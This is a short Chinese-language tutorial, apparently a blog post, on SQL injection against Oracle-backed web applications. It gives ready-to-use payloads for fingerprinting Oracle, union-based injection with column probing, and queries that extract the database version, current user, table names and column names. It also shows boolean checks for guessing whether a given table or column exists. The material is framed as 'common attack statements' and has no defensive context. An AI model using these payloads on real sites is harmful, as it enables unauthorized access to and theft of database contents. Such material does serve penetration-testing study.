Sql注入之oracle

Sql注入之oracle

介绍

oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,

它具有如下特点:

  • 支持多用户,大事务量处理
  • 数据安全性和完整性的有效控制
  • 支持分布式数据处理
  • 移植性强

常用jsp+oracle

数据库判断

and exists(select * from dual)

and exists(select * from user_tables)

联合注入

假设列数为5

union select null,null,null,null,null from dual

注意一定要写null否则会报错

判断非数字列:
  • 修改第一个null为数字
union select 1,null,null,null,null from dual
  • 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
union select null,1,null,null,null from dual
  • 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
  • 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
  • 常用攻击语句
1.获取数据库版本
select banner from sys.v_$version where rownum =1
2.获取操作系统版本
select member from v$logfile where rownum = 1
3.获取连接数据库的当前用户
select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
4.获取数据库
select owner from all_tables where rownum = 1
5.获取表名
select table_name from user_tables where rownum = 1
6.获取列名
select column_name from user_tab_columns where table_name='admin' and rownum = 1    #admin替换成你需要的表名

其他注入

  • 获取表
and (select count(*) from admin)<>0

返回正常则存在admin表,错误则不存在

  • 获取列名
and (select count(name) from admin)>=0

返回正常则存在name列,错误则不存在

相关推荐